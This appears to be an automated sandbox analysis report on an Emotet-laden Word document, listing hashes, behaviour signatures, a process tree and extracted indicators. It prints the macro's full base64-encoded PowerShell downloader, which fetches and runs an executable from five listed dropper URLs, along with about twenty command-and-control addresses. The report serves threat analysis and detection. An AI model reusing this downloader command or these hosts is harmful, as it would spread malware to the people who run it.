Analysis
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max time kernel
77s -
max time network
141s -
platform
windows7_x64 -
resource
win7 -
submitted
31-07-2020 11:53
General
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Target
File 072020.doc
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Size
172KB
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MD5
a87e38f2d470c5c9862660e3fc3cf81f
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SHA1
775910375d34e8536bde0d9128cc6103d5049d6a
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SHA256
fdc27f3312f4db0ce7b05834067f880340583938a7143f7b3a8ee442255bc19a
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SHA512
8a8b128d5a9d2caaf2940b0a77db738da9276d6e9b7177516b57c80374cce3e49a600bf36f04e759b595d1d0cf9d00ff10346b62c98afee29348a4f38e744889
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://www.leframe.com/wp-content/vbgSIz/
exe.dropper
http://irvingstudios.com/photos/jH40783/
exe.dropper
http://kyleriffic.com/blogs/RQ24ETH6SM/
exe.dropper
http://leannewaller.com/wwvvv/w11WKn/
exe.dropper
https://talkceltic.net/data/1OJD882281/
Extracted
Family
emotet
C2
24.249.135.121:80
185.94.252.13:443
149.62.173.247:8080
50.28.51.143:8080
80.249.176.206:80
5.196.35.138:7080
190.17.195.202:80
143.0.87.101:80
190.147.137.153:443
181.30.69.50:80
51.255.165.160:8080
190.96.118.251:443
72.47.248.48:7080
178.79.163.131:8080
212.231.60.98:80
187.162.248.237:80
2.47.112.152:80
68.183.190.199:8080
192.241.143.52:8080
77.55.211.77:8080
rsa_pubkey.plain
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Emotet Payload 4 IoCs
Detects Emotet payload in memory.
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Drops file in System32 directory 2 IoCs
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Office loads VBA resources, possible macro or embedded object present
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Modifies registry class 280 IoCs
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
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Suspicious use of SetWindowsHookEx 4 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Blacklisted process makes network request 2 IoCs
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Executes dropped EXE 2 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
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Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\File 072020.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVAFcAWQBYAFQAaABqAHYAPQAnAFgATQBIAEIAVwBmAGwAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBpAFQAWQBQAGAAUgBgAE8AVABPAEMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEMAVwBIAHQAawBvACAAPQAgACcANAAyADcAJwA7ACQARABUAFMARQBWAG8AZQBkAD0AJwBJAE8ASABMAEQAcQBkAGEAJwA7ACQATQBVAEEARABGAGUAaAB4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgAQwBXAEgAdABrAG8AKwAnAC4AZQB4AGUAJwA7ACQAUABBAFMAVABLAGwAawBsAD0AJwBSAEIAVwBLAEsAaQB4AGsAJwA7ACQASgBaAE0AVQBDAGsAawBmAD0ALgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABIAFoAWABNAFQAbAB4AGEAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGUAZgByAGEAbQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdgBiAGcAUwBJAHoALwAqAGgAdAB0AHAAOgAvAC8AaQByAHYAaQBuAGcAcwB0AHUAZABpAG8AcwAuAGMAbwBtAC8AcABoAG8AdABvAHMALwBqAEgANAAwADcAOAAzAC8AKgBoAHQAdABwADoALwAvAGsAeQBsAGUAcgBpAGYAZgBpAGMALgBjAG8AbQAvAGIAbABvAGcAcwAvAFIAUQAyADQARQBUAEgANgBTAE0ALwAqAGgAdAB0AHAAOgAvAC8AbABlAGEAbgBuAGUAdwBhAGwAbABlAHIALgBjAG8AbQAvAHcAdwB2AHYAdgAvAHcAMQAxAFcASwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdABhAGwAawBjAGUAbAB0AGkAYwAuAG4AZQB0AC8AZABhAHQAYQAvADEATwBKAEQAOAA4ADIAMgA4ADEALwAnAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAUwBDAEoAUABlAHoAbgA9ACcAUABBAEQASwBTAGUAbABoACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAFYAQgBXAFIAbAB4AHcAIABpAG4AIAAkAEgAWgBYAE0AVABsAHgAYQApAHsAdAByAHkAewAkAEoAWgBNAFUAQwBrAGsAZgAuACIARABPAHcATgBgAGwAbwBBAEQAZgBgAGkAYABsAGUAIgAoACQARQBWAEIAVwBSAGwAeAB3ACwAIAAkAE0AVQBBAEQARgBlAGgAeAApADsAJABVAEsASgBIAFQAawB4AG4APQAnAE4AWABFAFoATgBzAG8AYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE0AVQBBAEQARgBlAGgAeAApAC4AIgBMAGUATgBgAGcAVABIACIAIAAtAGcAZQAgADIANgA0ADIAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBgAFIAZQBgAEEAdABlACIAKAAkAE0AVQBBAEQARgBlAGgAeAApADsAJABGAEwATwBVAFcAZgB1AGsAPQAnAEcASQBTAFoAQwB5AGQAYQAnADsAYgByAGUAYQBrADsAJABVAFkAUwBMAEMAYwBsAHAAPQAnAFEATQBMAFcAUQB3AG8AYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAFEATQBCAFoAegBsAGcAPQAnAFYAWQBCAEIASwByAHcAaAAnAA==1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
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C:\Users\Admin\427.exeC:\Users\Admin\427.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\fontview\cmpbk32.exe"C:\Windows\SysWOW64\fontview\cmpbk32.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\427.exe
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C:\Users\Admin\427.exe
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C:\Windows\SysWOW64\fontview\cmpbk32.exe
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memory/1012-0-0x0000000005C90000-0x0000000005D90000-memory.dmpFilesize
1024KB
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memory/1012-2-0x0000000008980000-0x0000000008984000-memory.dmpFilesize
16KB
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memory/1012-4-0x00000000070B0000-0x00000000072B0000-memory.dmpFilesize
2.0MB
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memory/1012-5-0x000000000AEE0000-0x000000000AEE4000-memory.dmpFilesize
16KB
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memory/1012-6-0x000000000BF60000-0x000000000BF64000-memory.dmpFilesize
16KB
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memory/1012-9-0x0000000002180000-0x0000000002181000-memory.dmpFilesize
4KB
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memory/1584-14-0x0000000000000000-mapping.dmp
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memory/1584-16-0x0000000000300000-0x000000000030C000-memory.dmpFilesize
48KB
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memory/1808-13-0x0000000000350000-0x000000000035C000-memory.dmpFilesize
48KB